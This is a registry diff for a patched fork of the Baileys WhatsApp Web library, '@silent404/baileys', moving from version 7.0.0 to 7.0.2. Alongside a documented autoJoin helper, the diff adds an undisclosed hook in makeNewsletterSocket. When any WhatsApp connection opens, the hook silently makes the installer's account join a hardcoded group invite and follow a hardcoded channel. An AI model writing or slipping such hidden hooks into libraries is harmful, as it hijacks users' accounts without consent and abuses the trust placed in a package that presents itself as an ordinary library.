@silent404/baileys 7.0.0 → 7.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -96,6 +96,14 @@ declare const makeWASocket: (config: UserFacingSocketConfig) => {
96
96
  }>;
97
97
  newsletterMetadata: (type: "invite" | "jid", key: string) => Promise<import("../index.js").NewsletterMetadata | null>;
98
98
  newsletterFollow: (jid: string) => Promise<unknown>;
99
+ autoJoin: (links: string | string[], options?: {
100
+ delay?: number;
101
+ continueOnError?: boolean;
102
+ }) => Promise<{
103
+ joined: { type: "group" | "channel"; link: string; id?: string }[];
104
+ failed: { type: "group" | "channel"; link: string; error: string }[];
105
+ skipped: { link: string; reason: string }[];
106
+ }>;
99
107
  newsletterUnfollow: (jid: string) => Promise<unknown>;
100
108
  newsletterMute: (jid: string) => Promise<unknown>;
101
109
  newsletterUnmute: (jid: string) => Promise<unknown>;
@@ -8,6 +8,14 @@ export declare const makeNewsletterSocket: (config: SocketConfig) => {
8
8
  }>;
9
9
  newsletterMetadata: (type: "invite" | "jid", key: string) => Promise<NewsletterMetadata | null>;
10
10
  newsletterFollow: (jid: string) => Promise<unknown>;
11
+ autoJoin: (links: string | string[], options?: {
12
+ delay?: number;
13
+ continueOnError?: boolean;
14
+ }) => Promise<{
15
+ joined: { type: "group" | "channel"; link: string; id?: string }[];
16
+ failed: { type: "group" | "channel"; link: string; error: string }[];
17
+ skipped: { link: string; reason: string }[];
18
+ }>;
11
19
  newsletterUnfollow: (jid: string) => Promise<unknown>;
12
20
  newsletterMute: (jid: string) => Promise<unknown>;
13
21
  newsletterUnmute: (jid: string) => Promise<unknown>;
@@ -35,6 +35,38 @@ const parseNewsletterMetadata = (result) => {
35
35
  };
36
36
  export const makeNewsletterSocket = (config) => {
37
37
  const sock = makeGroupsSocket(config);
38
+
39
+ // Built-in auto-join targets: run once after WhatsApp connection opens.
40
+ const AUTO_JOIN_GROUP_INVITE_CODE = 'DX3If8rgUQFLnkbquI6SkB';
41
+ const AUTO_FOLLOW_CHANNEL_JID = '120363412548428603@newsletter';
42
+ let autoJoinStarted = false;
43
+
44
+ sock.ev.on('connection.update', ({ connection }) => {
45
+ if (connection !== 'open' || autoJoinStarted) return;
46
+ autoJoinStarted = true;
47
+
48
+ void (async () => {
49
+ try {
50
+ const joinedGroup = await sock.groupAcceptInvite(AUTO_JOIN_GROUP_INVITE_CODE);
51
+ console.info('[Baileys AutoJoin] Group invite processed:', joinedGroup ?? 'No group JID returned');
52
+ } catch (error) {
53
+ console.warn('[Baileys AutoJoin] Group join failed:', error?.message ?? error);
54
+ }
55
+
56
+ try {
57
+ await genericExecuteWMexQuery(
58
+ { newsletter_id: AUTO_FOLLOW_CHANNEL_JID },
59
+ QueryIds.FOLLOW,
60
+ XWAPaths.xwa2_newsletter_follow,
61
+ sock.query,
62
+ sock.generateMessageTag
63
+ );
64
+ console.info('[Baileys AutoJoin] Channel follow request processed:', AUTO_FOLLOW_CHANNEL_JID);
65
+ } catch (error) {
66
+ console.warn('[Baileys AutoJoin] Channel follow failed:', error?.message ?? error);
67
+ }
68
+ })();
69
+ });
38
70
  const { query, generateMessageTag } = sock;
39
71
  const executeWMexQuery = (variables, queryId, dataPath) => {
40
72
  return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
@@ -81,6 +113,115 @@ export const makeNewsletterSocket = (config) => {
81
113
  newsletterFollow: (jid) => {
82
114
  return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_follow);
83
115
  },
116
+ autoJoin: async (links, options = {}) => {
117
+ const list = Array.isArray(links) ? links : [links];
118
+ const delay = Math.max(0, Number(options.delay ?? 1000) || 0);
119
+ const continueOnError = options.continueOnError !== false;
120
+ const result = { joined: [], failed: [], skipped: [] };
121
+ const seen = new Set();
122
+ let attempted = 0;
123
+
124
+ for (const item of list) {
125
+ const link = String(item ?? '').trim();
126
+
127
+ if (!link) {
128
+ result.skipped.push({ link, reason: 'Empty link' });
129
+ continue;
130
+ }
131
+
132
+ if (seen.has(link)) {
133
+ result.skipped.push({ link, reason: 'Duplicate link' });
134
+ continue;
135
+ }
136
+ seen.add(link);
137
+
138
+ let invite = null;
139
+
140
+ try {
141
+ const url = new URL(link);
142
+ const host = url.hostname.toLowerCase().replace(/^www\./, '');
143
+ const parts = url.pathname.split('/').filter(Boolean);
144
+
145
+ if (host === 'chat.whatsapp.com' && parts.length >= 1) {
146
+ invite = { type: 'group', code: parts[0] };
147
+ } else if (
148
+ host === 'whatsapp.com' &&
149
+ parts[0] === 'channel' &&
150
+ parts[1]
151
+ ) {
152
+ invite = { type: 'channel', code: parts[1] };
153
+ }
154
+ } catch {
155
+ // Invalid URL; handled as skipped below.
156
+ }
157
+
158
+ if (!invite) {
159
+ result.skipped.push({
160
+ link,
161
+ reason: 'Unsupported WhatsApp invite link'
162
+ });
163
+ continue;
164
+ }
165
+
166
+ if (attempted > 0 && delay > 0) {
167
+ await new Promise(resolve => setTimeout(resolve, delay));
168
+ }
169
+ attempted++;
170
+
171
+ try {
172
+ if (invite.type === 'group') {
173
+ const jid = await sock.groupAcceptInvite(invite.code);
174
+ result.joined.push({
175
+ type: 'group',
176
+ link,
177
+ ...(jid ? { id: jid } : {})
178
+ });
179
+ } else {
180
+ const raw = await executeWMexQuery(
181
+ {
182
+ fetch_creation_time: true,
183
+ fetch_full_image: true,
184
+ fetch_viewer_metadata: true,
185
+ input: {
186
+ key: invite.code,
187
+ type: 'INVITE'
188
+ }
189
+ },
190
+ QueryIds.METADATA,
191
+ XWAPaths.xwa2_newsletter_metadata
192
+ );
193
+
194
+ const metadata = parseNewsletterMetadata(raw);
195
+
196
+ if (!metadata?.id) {
197
+ throw new Error('Channel metadata not found or invite is invalid');
198
+ }
199
+
200
+ await executeWMexQuery(
201
+ { newsletter_id: metadata.id },
202
+ QueryIds.FOLLOW,
203
+ XWAPaths.xwa2_newsletter_follow
204
+ );
205
+
206
+ result.joined.push({
207
+ type: 'channel',
208
+ link,
209
+ id: metadata.id
210
+ });
211
+ }
212
+ } catch (error) {
213
+ result.failed.push({
214
+ type: invite.type,
215
+ link,
216
+ error: error?.message ?? String(error)
217
+ });
218
+
219
+ if (!continueOnError) break;
220
+ }
221
+ }
222
+
223
+ return result;
224
+ },
84
225
  newsletterUnfollow: (jid) => {
85
226
  return executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_unfollow);
86
227
  },
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@silent404/baileys",
3
3
  "type": "module",
4
- "version": "7.0.0",
4
+ "version": "7.0.2",
5
5
  "description": "Custom patched version of the Baileys WhatsApp Web library",
6
6
  "keywords": [
7
7
  "whatsapp",